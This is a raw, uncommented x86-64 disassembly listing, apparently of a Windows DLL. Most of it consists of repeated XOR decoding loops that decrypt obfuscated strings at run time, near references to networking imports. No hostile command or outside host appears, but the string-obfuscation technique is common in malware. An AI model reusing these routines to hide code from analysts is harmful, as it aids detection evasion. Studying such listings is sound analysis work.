mov byte [rbp + 0xa4a], al
mov r8d, edi
cmp r15d, 2
jl 0x1800c5453
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa38], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa3c]
xorps xmm2, xmm1
movd dword [rbp + 0xa3c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa40]
xorps xmm2, xmm1
movd dword [rbp + 0xa40], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa44]
xorps xmm2, xmm1
movd dword [rbp + 0xa44], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xa38]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800c5460
mov dword [rbp + 0x2e8], 0x43910000
mov dword [rbp + 0x2ec], 0x42be0000
mov eax, dword [0x180183150]
mov dword [rbp + 0x44], eax
movzx ecx, word [0x180183154]
mov word [rbp + 0x48], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x44], 0x43
xor byte [rbp + 0x45], 0x37
xor byte [rbp + 0x46], 0x38
xor byte [rbp + 0x47], 0x39
xor cl, 0x3a
mov byte [rbp + 0x48], cl
xor byte [rbp + 0x49], 0x3b
xor al, 0x3c
mov byte [rbp + 0x4a], al
lea rax, [rbp + 0xa38]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x44]
call fcn.180008f00
mov qword [rbp + 0x2f0], 0
movsd xmm0, qword [str.eVTO_I]
movsd qword [rbp + 0x6b8], xmm0
mov ecx, dword [0x180183178]
mov dword [rbp + 0x6c0], ecx
movzx eax, word [0x18018317c]
mov word [rbp + 0x6c4], ax
cmp byte [0x18018317d], 0
je 0x1800c56f3
mov r8d, edi
cmp r15d, 2
jl 0x1800c56a5
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.eVTO_I]
xorps xmm1, xmm0
movd dword [rbp + 0x6b8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6bc]
xorps xmm2, xmm1
movd dword [rbp + 0x6bc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6c0], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x6b8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800c56c0
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x6b8]
call fcn.18003ef60
test al, al
je 0x1800c9f50
movups xmm2, xmmword [str.u_rdjNZRxFZ46_6ESYY_VcXMO_]
movups xmmword [rbp + 0x838], xmm2
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800c5942
mov r8d, edi
cmp r15d, 2
jl 0x1800c58fb
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x838], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x83c]
xorps xmm2, xmm1
movd dword [rbp + 0x83c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x840]
xorps xmm2, xmm1
movd dword [rbp + 0x840], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x844]
xorps xmm2, xmm1
movd dword [rbp + 0x844], xmm2
jmp 0x1800c5942
lea r9, [rbp + 0x838]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1800c5910
xorps xmm0, xmm0
movups xmmword [rbp + 0x1848], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1858], xmm1
lea rax, [rbp + 0x838]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c5961
lea rdx, [rbp + 0x838]
lea rcx, [rbp + 0x1848]
call fcn.18003d5d0
nop
xor r8d, r8d
lea rdx, [rbp + 0x1848]
lea rcx, [rbp + 0xfb8]
call fcn.18008cc60
nop
lea rcx, [rbp + 0xfb8]
call fcn.1800adbc0
movzx ebx, al
lea rcx, [rbp + 0xfb8]
call fcn.180072440
test bl, bl
jne 0x1800c5a0a
xor r8d, r8d
lea rdx, [rbp + 0x1848]
lea rcx, [rbp + 0xfd8]
call fcn.18008cc60
nop
mov qword [rsp + 0x50], 0
lea rax, [0x1801ae8e0]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xfd8]
call fcn.1800a8190
cmp dword [rsp + 0x50], 0
jne 0x1800cb424
lea rcx, [rbp + 0xfd8]
call fcn.180072440
nop
xor edx, edx
lea rcx, [rbp + 0x17e0]
call fcn.18006d180
mov dl, 1
lea rcx, [rbp + 0x17e0]
call fcn.180072550
nop
lea rax, [rbp + 0x858]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4463]
lea rcx, [rbp + 0x858]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [0x180183190]
movsd qword [rbp + 0x498], xmm0
movzx edx, word [0x180183198]
mov word [rbp + 0x4a0], dx
movzx ecx, byte [0x18018319a]
mov byte [rbp + 0x498], 0x65
xor byte [rbp + 0x499], 0x37
xor byte [rbp + 0x49a], 0x38
xor byte [rbp + 0x49b], 0x39
xor byte [rbp + 0x49c], 0x3a
xor byte [rbp + 0x49d], 0x3b
xor byte [rbp + 0x49e], 0x3c
xor byte [rbp + 0x49f], 0x3d
xor dl, 0x3e
mov byte [rbp + 0x4a0], dl
xor byte [rbp + 0x4a1], 0x3f
xor cl, 0x40
mov byte [rbp + 0x4a2], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x1018], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1028], xmm1
lea rax, [rbp + 0x498]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800c5ae0
lea rdx, [rbp + 0x498]
lea rcx, [rbp + 0x1018]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1018]
lea rcx, [rbp + 0xff8]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1018]
call fcn.18003e1a0
lea rax, [rbp + 0x868]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4464]
lea rcx, [rbp + 0x868]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.SDHfTZQXM_]
movsd qword [rbp + 0x3a8], xmm0
movzx ecx, word [0x1801831a8]
mov word [rbp + 0x3b0], cx
cmp byte [0x1801831a9], 0
je 0x1800c5bc8
mov byte [rbp + 0x3a8], 0x65
xor byte [rbp + 0x3a9], 0x37
xor byte [rbp + 0x3aa], 0x38
xor byte [rbp + 0x3ab], 0x39
xor byte [rbp + 0x3ac], 0x3a
xor byte [rbp + 0x3ad], 0x3b
xor byte [rbp + 0x3ae], 0x3c
xor byte [rbp + 0x3af], 0x3d
xor byte [rbp + 0x3b0], 0x3e
xor byte [rbp + 0x3b1], 0x3f
xorps xmm0, xmm0
movups xmmword [rbp + 0x1058], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1068], xmm1
lea rax, [rbp + 0x3a8]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800c5bf0
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x1058]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1058]
lea rcx, [rbp + 0x1038]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1058]
call fcn.18003e1a0
lea rax, [rbp + 0x878]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4465]
lea rcx, [rbp + 0x878]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.SDHfM_MQQ3A]
movsd qword [rbp + 0x4d8], xmm0
mov ecx, dword [0x1801831b8]
mov dword [rbp + 0x4e0], ecx
cmp byte [0x1801831bb], 0
je 0x1800c5e32
mov r8d, edi
cmp r15d, 2
jl 0x1800c5deb
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.SDHfM_MQQ3A]
xorps xmm1, xmm0
movd dword [rbp + 0x4d8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4dc]
xorps xmm2, xmm1
movd dword [rbp + 0x4dc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x4e0], xmm2
jmp 0x1800c5e32
lea r9, [rbp + 0x4d8]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800c5e00
xorps xmm0, xmm0
movups xmmword [rbp + 0x1098], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10a8], xmm1
lea rax, [rbp + 0x4d8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c5e51
lea rdx, [rbp + 0x4d8]
lea rcx, [rbp + 0x1098]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1098]
lea rcx, [rbp + 0x1078]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1098]
call fcn.18003e1a0
lea rax, [rbp + 0x888]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4466]
lea rcx, [rbp + 0x888]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.SDHfR_Y_]
movsd qword [rbp + 0x398], xmm0
movzx ecx, byte [0x1801831c8]
mov byte [rbp + 0x398], 0x65
xor byte [rbp + 0x399], 0x37
xor byte [rbp + 0x39a], 0x38
xor byte [rbp + 0x39b], 0x39
xor byte [rbp + 0x39c], 0x3a
xor byte [rbp + 0x39d], 0x3b
xor byte [rbp + 0x39e], 0x3c
xor byte [rbp + 0x39f], 0x3d
xor cl, 0x3e
mov byte [rbp + 0x3a0], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x10d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10e8], xmm1
lea rax, [rbp + 0x398]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c5f43
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0x10d8]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x10d8]
lea rcx, [rbp + 0x10b8]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x10d8]
call fcn.18003e1a0
lea rax, [rbp + 0x898]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4469]
lea rcx, [rbp + 0x898]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.SDHfIPYQ_K__B]
movsd qword [rbp + 0x598], xmm0
mov edx, dword [0x1801831d8]
mov dword [rbp + 0x5a0], edx
movzx ecx, byte [0x1801831dc]
mov byte [rbp + 0x5a4], cl
mov r8d, edi
cmp r15d, 2
jl 0x1800c6142
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.SDHfIPYQ_K__B]
xorps xmm1, xmm0
movd dword [rbp + 0x598], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x59c]
xorps xmm2, xmm1
movd dword [rbp + 0x59c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x5a0], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x598]
add r9, rax
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800c6150
xorps xmm0, xmm0
movups xmmword [rbp + 0x1118], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1128], xmm1
lea rax, [rbp + 0x598]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c61a2
lea rdx, [rbp + 0x598]
lea rcx, [rbp + 0x1118]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1118]
lea rcx, [rbp + 0x10f8]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1118]
call fcn.18003e1a0
lea rax, [rbp + 0x8a8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4467]
lea rcx, [rbp + 0x8a8]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.SDHfR_QJW__0C]
movsd qword [rbp + 0x6c8], xmm0
mov edx, dword [0x1801831e8]
mov dword [rbp + 0x6d0], edx
movzx ecx, word [0x1801831ec]
mov word [rbp + 0x6d4], cx
cmp byte [0x1801831ed], 0
je 0x1800c63f3
mov r8d, edi
cmp r15d, 2
jl 0x1800c63af
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.SDHfR_QJW__0C]
xorps xmm1, xmm0
movd dword [rbp + 0x6c8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6cc]
xorps xmm2, xmm1
movd dword [rbp + 0x6cc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x6d0], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x6c8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800c63c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1158], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1168], xmm1
lea rax, [rbp + 0x6c8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c6412
lea rdx, [rbp + 0x6c8]
lea rcx, [rbp + 0x1158]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1158]
lea rcx, [rbp + 0x1138]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1158]
call fcn.18003e1a0
lea rax, [rbp + 0x8b8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4468]
lea rcx, [rbp + 0x8b8]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.SDHf_IQRL__3B]
movsd qword [rbp + 0x5a8], xmm0
mov edx, dword [0x1801831f8]
mov dword [rbp + 0x5b0], edx
movzx ecx, byte [0x1801831fc]
mov byte [rbp + 0x5b4], cl
mov r8d, edi
cmp r15d, 2
jl 0x1800c6611
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.SDHf_IQRL__3B]
xorps xmm1, xmm0
movd dword [rbp + 0x5a8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5ac]
xorps xmm2, xmm1
movd dword [rbp + 0x5ac], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x5b0], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x5a8]
add r9, rax
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800c6620
xorps xmm0, xmm0
movups xmmword [rbp + 0x1198], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x11a8], xmm1
lea rax, [rbp + 0x5a8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c6672
lea rdx, [rbp + 0x5a8]
lea rcx, [rbp + 0x1198]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1198]
